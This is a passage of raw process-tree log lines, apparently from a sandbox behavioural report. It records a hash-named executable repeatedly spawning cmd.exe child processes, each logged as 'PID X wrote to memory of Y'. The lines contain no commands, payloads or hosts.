5368 wrote to memory of 5436 5368 cmd.exe 344 PID 5368 wrote to memory of 5436 5368 cmd.exe 344 PID 5368 wrote to memory of 5456 5368 cmd.exe 345 PID 5368 wrote to memory of 5456 5368 cmd.exe 345 PID 5368 wrote to memory of 5456 5368 cmd.exe 345 PID 5456 wrote to memory of 5472 5456 cmd.exe 346 PID 5456 wrote to memory of 5472 5456 cmd.exe 346 PID 5456 wrote to memory of 5472 5456 cmd.exe 346 PID 5368 wrote to memory of 5496 5368 cmd.exe 347 PID 5368 wrote to memory of 5496 5368 cmd.exe 347 PID 5368 wrote to memory of 5496 5368 cmd.exe 347 PID 3800 wrote to memory of 5520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 348 PID 3800 wrote to memory of 5520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 348 PID 3800 wrote to memory of 5520 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 348 PID 5520 wrote to memory of 5568 5520 cmd.exe 350 PID 5520 wrote to memory of 5568 5520 cmd.exe 350 PID 5520 wrote to memory of 5568 5520 cmd.exe 350 PID 5520 wrote to memory of 5588 5520 cmd.exe 351 PID 5520 wrote to memory of 5588 5520 cmd.exe 351 PID 5520 wrote to memory of 5588 5520 cmd.exe 351 PID 5520 wrote to memory of 5608 5520 cmd.exe 352 PID 5520 wrote to memory of 5608 5520 cmd.exe 352 PID 5520 wrote to memory of 5608 5520 cmd.exe 352 PID 5608 wrote to memory of 5624 5608 cmd.exe 353 PID 5608 wrote to memory of 5624 5608 cmd.exe 353 PID 5608 wrote to memory of 5624 5608 cmd.exe 353 PID 5520 wrote to memory of 5648 5520 cmd.exe 354 PID 5520 wrote to memory of 5648 5520 cmd.exe 354 PID 5520 wrote to memory of 5648 5520 cmd.exe 354 PID 3800 wrote to memory of 5672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 355 PID 3800 wrote to memory of 5672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 355 PID 3800 wrote to memory of 5672 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 355 PID 5672 wrote to memory of 5720 5672 cmd.exe 357 PID 5672 wrote to memory of 5720 5672 cmd.exe 357 PID 5672 wrote to memory of 5720 5672 cmd.exe 357 PID 5672 wrote to memory of 5740 5672 cmd.exe 358 PID 5672 wrote to memory of 5740 5672 cmd.exe 358 PID 5672 wrote to memory of 5740 5672 cmd.exe 358 PID 5672 wrote to memory of 5760 5672 cmd.exe 359 PID 5672 wrote to memory of 5760 5672 cmd.exe 359 PID 5672 wrote to memory of 5760 5672 cmd.exe 359 PID 5760 wrote to memory of 5776 5760 cmd.exe 360 PID 5760 wrote to memory of 5776 5760 cmd.exe 360 PID 5760 wrote to memory of 5776 5760 cmd.exe 360 PID 5672 wrote to memory of 5800 5672 cmd.exe 361 PID 5672 wrote to memory of 5800 5672 cmd.exe 361 PID 5672 wrote to memory of 5800 5672 cmd.exe 361 PID 3800 wrote to memory of 5824 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 362 PID 3800 wrote to memory of 5824 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 362 PID 3800 wrote to memory of 5824 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 362 PID 5824 wrote to memory of 5872 5824 cmd.exe 364 PID 5824 wrote to memory of 5872 5824 cmd.exe 364 PID 5824 wrote to memory of 5872 5824 cmd.exe 364 PID 5824 wrote to memory of 5892 5824 cmd.exe 365 PID 5824 wrote to memory of 5892 5824 cmd.exe 365 PID 5824 wrote to memory of 5892 5824 cmd.exe 365 PID 5824 wrote to memory of 5912 5824 cmd.exe 366 PID 5824 wrote to memory of 5912 5824 cmd.exe 366 PID 5824 wrote to memory of 5912 5824 cmd.exe 366 PID 5912 wrote to memory of 5928 5912 cmd.exe 367 PID 5912 wrote to memory of 5928 5912 cmd.exe 367 PID 5912 wrote to memory of 5928 5912 cmd.exe 367 PID 5824 wrote to memory of 5952 5824 cmd.exe 368 PID 5824 wrote to memory of 5952 5824 cmd.exe 368 PID 5824 wrote to memory of 5952 5824 cmd.exe 368 PID 3800 wrote to memory of 5976 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 369 PID 3800 wrote to memory of 5976 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 369 PID 3800 wrote to memory of 5976 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 369 PID 5976 wrote to memory of 6024 5976 cmd.exe 371 PID 5976 wrote to memory of 6024 5976 cmd.exe 371 PID 5976 wrote to memory of 6024 5976 cmd.exe 371 PID 5976 wrote to memory of 6044 5976 cmd.exe 372 PID 5976 wrote to memory of 6044 5976 cmd.exe 372 PID 5976 wrote to memory of 6044 5976 cmd.exe 372 PID 5976 wrote to memory of 6064 5976 cmd.exe 373 PID 5976 wrote to memory of 6064 5976 cmd.exe 373 PID 5976 wrote to memory of 6064 5976 cmd.exe 373 PID 6064 wrote to memory of 6080 6064 cmd.exe 374 PID 6064 wrote to memory of 6080 6064 cmd.exe 374 PID 6064 wrote to memory of 6080 6064 cmd.exe 374 PID 5976 wrote to memory of 6104 5976 cmd.exe 375 PID 5976 wrote to memory of 6104 5976 cmd.exe 375 PID 5976 wrote to memory of 6104 5976 cmd.exe 375 PID 3800 wrote to memory of 6128 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 376 PID 3800 wrote to memory of 6128 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 376 PID 3800 wrote to memory of 6128 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 376 PID 6128 wrote to memory of 5160 6128 cmd.exe 378 PID 6128 wrote to memory of 5160 6128 cmd.exe 378 PID 6128 wrote to memory of 5160 6128 cmd.exe 378 PID 6128 wrote to memory of 5172 6128 cmd.exe 379 PID 6128 wrote to memory of 5172 6128 cmd.exe 379 PID 6128 wrote to memory of 5172 6128 cmd.exe 379 PID 6128 wrote to memory of 5208 6128 cmd.exe 380 PID 6128 wrote to memory of 5208 6128 cmd.exe 380 PID 6128 wrote to memory of 5208 6128 cmd.exe 380 PID 5208 wrote to memory of 4600 5208 cmd.exe 381 PID 5208 wrote to memory of 4600 5208 cmd.exe 381 PID 5208 wrote to memory of 4600 5208 cmd.exe 381 PID 6128 wrote to memory of 268 6128 cmd.exe 382 PID 6128 wrote to memory of 268 6128 cmd.exe 382 PID 6128 wrote to memory of 268 6128 cmd.exe 382 PID 3800 wrote to memory of 776 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 383 PID 3800 wrote to memory of 776 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 383 PID 3800 wrote to memory of 776 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 383 PID 776 wrote to memory of 5288 776 cmd.exe 385 PID 776 wrote to memory of 5288 776 cmd.exe 385 PID 776 wrote to memory of 5288 776 cmd.exe 385 PID 776 wrote to memory of 5340 776 cmd.exe 386 PID 776 wrote to memory of 5340 776 cmd.exe 386 PID 776 wrote to memory of 5340 776 cmd.exe 386 PID 776 wrote to memory of 5352 776 cmd.exe 387 PID 776 wrote to memory of 5352 776 cmd.exe 387 PID 776 wrote to memory of 5352 776 cmd.exe 387 PID 5352 wrote to memory of 5348 5352 cmd.exe 388 PID 5352 wrote to memory of 5348 5352 cmd.exe 388 PID 5352 wrote to memory of 5348 5352 cmd.exe 388 PID 776 wrote to memory of 5220 776 cmd.exe 389 PID 776 wrote to memory of 5220 776 cmd.exe 389 PID 776 wrote to memory of 5220 776 cmd.exe 389 PID 3800 wrote to memory of 5384 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 390 PID 3800 wrote to memory of 5384 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 390 PID 3800 wrote to memory of 5384 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 390 PID 5384 wrote to memory of 5476 5384 cmd.exe 392 PID 5384 wrote to memory of 5476 5384 cmd.exe 392 PID 5384 wrote to memory of 5476 5384 cmd.exe 392 PID 5384 wrote to memory of 5504 5384 cmd.exe 393 PID 5384 wrote to memory of 5504 5384 cmd.exe 393 PID 5384 wrote to memory of 5504 5384 cmd.exe 393 PID 5384 wrote to memory of 5396 5384 cmd.exe 394 PID 5384 wrote to memory of 5396 5384 cmd.exe 394 PID 5384 wrote to memory of 5396 5384 cmd.exe 394 PID 5396 wrote to memory of 5392 5396 cmd.exe 395 PID 5396 wrote to memory of 5392 5396 cmd.exe 395 PID 5396 wrote to memory of 5392 5396 cmd.exe 395 PID 5384 wrote to memory of 3840 5384 cmd.exe 396 PID 5384 wrote to memory of 3840 5384 cmd.exe 396 PID 5384 wrote to memory of 3840 5384 cmd.exe 396 PID 3800 wrote to memory of 5572 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 397 PID 3800 wrote to memory of 5572 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 397 PID 3800 wrote to memory of 5572 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 397 PID 5572 wrote to memory of 5620 5572 cmd.exe 399 PID 5572 wrote to memory of 5620 5572 cmd.exe 399 PID 5572 wrote to memory of 5620 5572 cmd.exe 399 PID 5572 wrote to memory of 5664 5572 cmd.exe 400 PID 5572 wrote to memory of 5664 5572 cmd.exe 400 PID 5572 wrote to memory of 5664 5572 cmd.exe 400 PID 5572 wrote to memory of 5552 5572 cmd.exe 401 PID 5572 wrote to memory of 5552 5572 cmd.exe 401 PID 5572 wrote to memory of 5552 5572 cmd.exe 401 PID 5552 wrote to memory of 5540 5552 cmd.exe 402 PID 5552 wrote to memory of 5540 5552 cmd.exe 402 PID 5552 wrote to memory of 5540 5552 cmd.exe 402 PID 5572 wrote to memory of 5732 5572 cmd.exe 403 PID 5572 wrote to memory of 5732 5572 cmd.exe 403 PID 5572 wrote to memory of 5732 5572 cmd.exe 403 PID 3800 wrote to memory of 5768 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 404 PID 3800 wrote to memory of 5768 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 404 PID 3800 wrote to memory of 5768 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 404 PID 5768 wrote to memory of 5804 5768 cmd.exe 406 PID 5768 wrote to memory of 5804 5768 cmd.exe 406 PID 5768 wrote to memory of 5804 5768 cmd.exe 406 PID 5768 wrote to memory of 5696 5768 cmd.exe 407 PID 5768 wrote to memory of 5696 5768 cmd.exe 407 PID 5768 wrote to memory of 5696 5768 cmd.exe 407 PID 5768 wrote to memory of 5840 5768 cmd.exe 408 PID 5768 wrote to memory of 5840 5768 cmd.exe 408 PID 5768 wrote to memory of 5840 5768 cmd.exe 408 PID 5840 wrote to memory of 5876 5840 cmd.exe 409 PID 5840 wrote to memory of 5876 5840 cmd.exe 409 PID 5840 wrote to memory of 5876 5840 cmd.exe 409 PID 5768 wrote to memory of 5936 5768 cmd.exe 410 PID 5768 wrote to memory of 5936 5768 cmd.exe 410 PID 5768 wrote to memory of 5936 5768 cmd.exe 410 PID 3800 wrote to memory of 5916 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 411 PID 3800 wrote to memory of 5916 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 411 PID 3800 wrote to memory of 5916 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 411 PID 5916 wrote to memory of 5860 5916 cmd.exe 413 PID 5916 wrote to memory of 5860 5916 cmd.exe 413 PID 5916 wrote to memory of 5860 5916 cmd.exe 413 PID 5916 wrote to memory of 6032 5916 cmd.exe 414 PID 5916 wrote to memory of 6032 5916 cmd.exe 414 PID 5916 wrote to memory of 6032 5916 cmd.exe 414 PID 5916 wrote to memory of 6060 5916 cmd.exe 415 PID 5916 wrote to memory of 6060 5916 cmd.exe 415 PID 5916 wrote to memory of 6060 5916 cmd.exe 415 PID 6060 wrote to memory of 6088 6060 cmd.exe 416 PID 6060 wrote to memory of 6088 6060 cmd.exe 416 PID 6060 wrote to memory of 6088 6060 cmd.exe 416 PID 5916 wrote to memory of 6068 5916 cmd.exe 417 PID 5916 wrote to memory of 6068 5916 cmd.exe 417 PID 5916 wrote to memory of 6068 5916 cmd.exe 417 PID 3800 wrote to memory of 6004 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 418 PID 3800 wrote to memory of 6004 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 418 PID 3800 wrote to memory of 6004 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 418 PID 6004 wrote to memory of 5184 6004 cmd.exe 420 PID 6004 wrote to memory of 5184 6004 cmd.exe 420 PID 6004 wrote to memory of 5184 6004 cmd.exe 420 PID 6004 wrote to memory of 5164 6004 cmd.exe 421 PID 6004 wrote to memory of 5164 6004 cmd.exe 421 PID 6004 wrote to memory of 5164 6004 cmd.exe 421 PID 6004 wrote to memory of 5064 6004 cmd.exe 422 PID 6004 wrote to memory of 5064 6004 cmd.exe 422 PID 6004 wrote to memory of 5064 6004 cmd.exe 422 PID 5064 wrote to memory of 5196 5064 cmd.exe 423 PID 5064 wrote to memory of 5196 5064 cmd.exe 423 PID 5064 wrote to memory of 5196 5064 cmd.exe 423 PID 6004 wrote to memory of 508 6004 cmd.exe 424 PID 6004 wrote to memory of 508 6004 cmd.exe 424 PID 6004 wrote to memory of 508 6004 cmd.exe 424 PID 3800 wrote to memory of 5148 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 425 PID 3800 wrote to memory of 5148 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 425 PID 3800 wrote to memory of 5148 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 425 PID 5148 wrote to memory of 5316 5148 cmd.exe 427 PID 5148 wrote to memory of 5316 5148 cmd.exe 427 PID 5148 wrote to memory of 5316 5148 cmd.exe 427 PID 5148 wrote to memory of 5248 5148 cmd.exe 428 PID 5148 wrote to memory of 5248 5148 cmd.exe 428 PID 5148 wrote to memory of 5248 5148 cmd.exe 428 PID 5148 wrote to memory of 5376 5148 cmd.exe 429 PID 5148 wrote to memory of 5376 5148 cmd.exe 429 PID 5148 wrote to memory of 5376 5148 cmd.exe 429 PID 5376 wrote to memory of 5292 5376 cmd.exe 430 PID 5376 wrote to memory of 5292 5376 cmd.exe 430 PID 5376 wrote to memory of 5292 5376 cmd.exe 430 PID 5148 wrote to memory of 5232 5148 cmd.exe 431 PID 5148 wrote to memory of 5232 5148 cmd.exe 431 PID 5148 wrote to memory of 5232 5148 cmd.exe 431 PID 3800 wrote to memory of 5468 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 432 PID 3800 wrote to memory of 5468 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 432 PID 3800 wrote to memory of 5468 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 432 PID 5468 wrote to memory of 5372 5468 cmd.exe 434 PID 5468 wrote to memory of 5372 5468 cmd.exe 434 PID 5468 wrote to memory of 5372 5468 cmd.exe 434 PID 5468 wrote to memory of 5576 5468 cmd.exe 435 PID 5468 wrote to memory of 5576 5468 cmd.exe 435 PID 5468 wrote to memory of 5576 5468 cmd.exe 435 PID 5468 wrote to memory of 5440 5468 cmd.exe 436 PID 5468 wrote to memory of 5440 5468 cmd.exe 436 PID 5468 wrote to memory of 5440 5468 cmd.exe 436 PID 5440 wrote to memory of 5444 5440 cmd.exe 437 PID 5440 wrote to memory of 5444 5440 cmd.exe 437 PID 5440 wrote to memory of 5444 5440 cmd.exe 437 PID 5468 wrote to memory of 5660 5468 cmd.exe 438 PID 5468 wrote to memory of 5660 5468 cmd.exe 438 PID 5468 wrote to memory of 5660 5468 cmd.exe 438 PID 3800 wrote to memory of 5544 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 439 PID 3800 wrote to memory of 5544 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 439 PID 3800 wrote to memory of 5544 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 439 PID 5544 wrote to memory of 5724 5544 cmd.exe 441 PID 5544 wrote to memory of 5724 5544 cmd.exe 441 PID 5544 wrote to memory of 5724 5544 cmd.exe 441 PID 5544 wrote to memory of 5584 5544 cmd.exe 442 PID 5544 wrote to memory of 5584 5544 cmd.exe 442 PID 5544 wrote to memory of 5584 5544 cmd.exe 442 PID 5544 wrote to memory of 5788 5544 cmd.exe 443 PID 5544 wrote to memory of 5788 5544 cmd.exe 443 PID 5544 wrote to memory of 5788 5544 cmd.exe 443 PID 5788 wrote to memory of 5704 5788 cmd.exe 444 PID 5788 wrote to memory of 5704 5788 cmd.exe 444 PID 5788 wrote to memory of 5704 5788 cmd.exe 444 PID 5544 wrote to memory of 5684 5544 cmd.exe 445 PID 5544 wrote to memory of 5684 5544 cmd.exe 445 PID 5544 wrote to memory of 5684 5544 cmd.exe 445 PID 3800 wrote to memory of 5900 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 446 PID 3800 wrote to memory of 5900 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 446 PID 3800 wrote to memory of 5900 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 446 PID 5900 wrote to memory of 5784 5900 cmd.exe 448 PID 5900 wrote to memory of 5784 5900 cmd.exe 448 PID 5900 wrote to memory of 5784 5900 cmd.exe 448 PID 5900 wrote to memory of 5964 5900 cmd.exe 449 PID 5900 wrote to memory of 5964 5900 cmd.exe 449 PID 5900 wrote to memory of 5964 5900 cmd.exe 449 PID 5900 wrote to memory of 5844 5900 cmd.exe 450 PID 5900 wrote to memory of 5844 5900 cmd.exe 450 PID 5900 wrote to memory of 5844 5900 cmd.exe 450 PID 5844 wrote to memory of 6040 5844 cmd.exe 451 PID 5844 wrote to memory of 6040 5844 cmd.exe 451 PID 5844 wrote to memory of 6040 5844 cmd.exe 451 PID 5900 wrote to memory of 6092 5900 cmd.exe 452 PID 5900 wrote to memory of 6092 5900 cmd.exe 452 PID 5900 wrote to memory of 6092 5900 cmd.exe 452 PID 3800 wrote to memory of 6108 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 453 PID 3800 wrote to memory of 6108 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 453 PID 3800 wrote to memory of 6108 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 453 PID 6108 wrote to memory of 6000 6108 cmd.exe 455 PID 6108 wrote to memory of 6000 6108 cmd.exe 455 PID 6108 wrote to memory of 6000 6108 cmd.exe 455 PID 6108 wrote to memory of 5188 6108 cmd.exe 456 PID 6108 wrote to memory of 5188 6108 cmd.exe 456 PID 6108 wrote to memory of 5188 6108 cmd.exe 456 PID 6108 wrote to memory of 4152 6108 cmd.exe 457 PID 6108 wrote to memory of 4152 6108 cmd.exe 457 PID 6108 wrote to memory of 4152 6108 cmd.exe 457 PID 4152 wrote to memory of 4020 4152 cmd.exe 458 PID 4152 wrote to memory of 4020 4152 cmd.exe 458 PID 4152 wrote to memory of 4020 4152 cmd.exe 458 PID 6108 wrote to memory of 5144 6108 cmd.exe 459 PID 6108 wrote to memory of 5144 6108 cmd.exe 459 PID 6108 wrote to memory of 5144 6108 cmd.exe 459 PID 3800 wrote to memory of 6008 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 460 PID 3800 wrote to memory of 6008 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 460 PID 3800 wrote to memory of 6008 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 460 PID 6008 wrote to memory of 5364 6008 cmd.exe 462 PID 6008 wrote to memory of 5364 6008 cmd.exe 462 PID 6008 wrote to memory of 5364 6008 cmd.exe 462 PID 6008 wrote to memory of 5240 6008 cmd.exe 463 PID 6008 wrote to memory of 5240 6008 cmd.exe 463 PID 6008 wrote to memory of 5240 6008 cmd.exe 463 PID 6008 wrote to memory of 5280 6008 cmd.exe 464 PID 6008 wrote to memory of 5280 6008 cmd.exe 464 PID 6008 wrote to memory of 5280 6008 cmd.exe 464 PID 5280 wrote to memory of 5420 5280 cmd.exe 465 PID 5280 wrote to memory of 5420 5280 cmd.exe 465 PID 5280 wrote to memory of 5420 5280 cmd.exe 465 PID 6008 wrote to memory of 5308 6008 cmd.exe 466 PID 6008 wrote to memory of 5308 6008 cmd.exe 466 PID 6008 wrote to memory of 5308 6008 cmd.exe 466 PID 3800 wrote to memory of 2956 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 467 PID 3800 wrote to memory of 2956 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 467 PID 3800 wrote to memory of 2956 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 467 PID 2956 wrote to memory of 5596 2956 cmd.exe 469 PID 2956 wrote to memory of 5596 2956 cmd.exe 469 PID 2956 wrote to memory of 5596 2956 cmd.exe 469 PID 2956 wrote to memory of 5464 2956 cmd.exe 470 PID 2956 wrote to memory of 5464 2956 cmd.exe 470 PID 2956 wrote to memory of 5464 2956 cmd.exe 470 PID 2956 wrote to memory of 5652 2956 cmd.exe 471 PID 2956 wrote to memory of 5652 2956 cmd.exe 471 PID 2956 wrote to memory of 5652 2956 cmd.exe 471 PID 5652 wrote to memory of 5408 5652 cmd.exe 472 PID 5652 wrote to memory of 5408 5652 cmd.exe 472 PID 5652 wrote to memory of 5408 5652 cmd.exe 472 PID 2956 wrote to memory of 5500 2956 cmd.exe 473 PID 2956 wrote to memory of 5500 2956 cmd.exe 473 PID 2956 wrote to memory of 5500 2956 cmd.exe 473 PID 3800 wrote to memory of 5628 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 474 PID 3800 wrote to memory of 5628 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 474 PID 3800 wrote to memory of 5628 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 474 PID 5628 wrote to memory of 5792 5628 cmd.exe 476 PID 5628 wrote to memory of 5792 5628 cmd.exe 476 PID 5628 wrote to memory of 5792 5628 cmd.exe 476 PID 5628 wrote to memory of 5888 5628 cmd.exe 477 PID 5628 wrote to memory of 5888 5628 cmd.exe 477 PID 5628 wrote to memory of 5888 5628 cmd.exe 477 PID 5628 wrote to memory of 5680 5628 cmd.exe 478 PID 5628 wrote to memory of 5680 5628 cmd.exe 478 PID 5628 wrote to memory of 5680 5628 cmd.exe 478 PID 5680 wrote to memory of 5736 5680 cmd.exe 479 PID 5680 wrote to memory of 5736 5680 cmd.exe 479 PID 5680 wrote to memory of 5736 5680 cmd.exe 479 PID 5628 wrote to memory of 5796 5628 cmd.exe 480 PID 5628 wrote to memory of 5796 5628 cmd.exe 480 PID 5628 wrote to memory of 5796 5628 cmd.exe 480 PID 3800 wrote to memory of 6100 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 481 PID 3800 wrote to memory of 6100 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 481 PID 3800 wrote to memory of 6100 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 481 PID 6100 wrote to memory of 5820 6100 cmd.exe 483 PID 6100 wrote to memory of 5820 6100 cmd.exe 483 PID 6100 wrote to memory of 5820 6100 cmd.exe 483 PID 6100 wrote to memory of 5932 6100 cmd.exe 484 PID 6100 wrote to memory of 5932 6100 cmd.exe 484 PID 6100 wrote to memory of 5932 6100 cmd.exe 484 PID 6100 wrote to memory of 5864 6100 cmd.exe 485 PID 6100 wrote to memory of 5864 6100 cmd.exe 485 PID 6100 wrote to memory of 5864 6100 cmd.exe 485 PID 5864 wrote to memory of 5176 5864 cmd.exe 486 PID 5864 wrote to memory of 5176 5864 cmd.exe 486 PID 5864 wrote to memory of 5176 5864 cmd.exe 486 PID 6100 wrote to memory of 2968 6100 cmd.exe 487 PID 6100 wrote to memory of 2968 6100 cmd.exe 487 PID 6100 wrote to memory of 2968 6100 cmd.exe 487 PID 3800 wrote to memory of 3680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 488 PID 3800 wrote to memory of 3680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 488 PID 3800 wrote to memory of 3680 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 488 PID 3680 wrote to memory of 5956 3680 cmd.exe 490 PID 3680 wrote to memory of 5956 3680 cmd.exe 490 PID 3680 wrote to memory of 5956 3680 cmd.exe 490 PID 3680 wrote to memory of 5252 3680 cmd.exe 491 PID 3680 wrote to memory of 5252 3680 cmd.exe 491 PID 3680 wrote to memory of 5252 3680 cmd.exe 491 PID 3680 wrote to memory of 5272 3680 cmd.exe 492 PID 3680 wrote to memory of 5272 3680 cmd.exe 492 PID 3680 wrote to memory of 5272 3680 cmd.exe 492 PID 5272 wrote to memory of 5492 5272 cmd.exe 493 PID 5272 wrote to memory of 5492 5272 cmd.exe 493 PID 5272 wrote to memory of 5492 5272 cmd.exe 493 PID 3680 wrote to memory of 5300 3680 cmd.exe 494 PID 3680 wrote to memory of 5300 3680 cmd.exe 494 PID 3680 wrote to memory of 5300 3680 cmd.exe 494 PID 3800 wrote to memory of 5260 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 495 PID 3800 wrote to memory of 5260 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 495 PID 3800 wrote to memory of 5260 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 495 PID 5260 wrote to memory of 5656 5260 cmd.exe 497 PID 5260 wrote to memory of 5656 5260 cmd.exe 497 PID 5260 wrote to memory of 5656 5260 cmd.exe 497 PID 5260 wrote to memory of 5424 5260 cmd.exe 498 PID 5260 wrote to memory of 5424 5260 cmd.exe 498 PID 5260 wrote to memory of 5424 5260 cmd.exe 498 PID 5260 wrote to memory of 5400 5260 cmd.exe 499 PID 5260 wrote to memory of 5400 5260 cmd.exe 499 PID 5260 wrote to memory of 5400 5260 cmd.exe 499 PID 5400 wrote to memory of 5612 5400 cmd.exe 500 PID 5400 wrote to memory of 5612 5400 cmd.exe 500 PID 5400 wrote to memory of 5612 5400 cmd.exe 500 PID 5260 wrote to memory of 5484 5260 cmd.exe 501 PID 5260 wrote to memory of 5484 5260 cmd.exe 501 PID 5260 wrote to memory of 5484 5260 cmd.exe 501 PID 3800 wrote to memory of 1640 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 502 PID 3800 wrote to memory of 1640 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 502 PID 3800 wrote to memory of 1640 3800 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe 502 PID 1640 wrote to memory of 5748 1640 cmd.exe 504 PID 1640 wrote to memory of 5748 1640 cmd.exe 504 PID 1640 wrote to memory of 5748 1640 cmd.exe 504 PID 1640 wrote to memory of 5780 1640 cmd.exe 505 PID 1640 wrote to memory of 5780 1640 cmd.exe 505 PID 1640 wrote to memory of 5780 1640 cmd.exe 505 PID 1640 wrote to memory of 5968 1640 cmd.exe 506 PID 1640 wrote to memory of 5968 1640 cmd.exe 506 PID 1640 wrote to memory of 5968 1640 cmd.exe 506 PID 5968 wrote to memory of 5716 5968 cmd.exe 507 PID 5968 wrote to memory of 5716 5968 cmd.exe 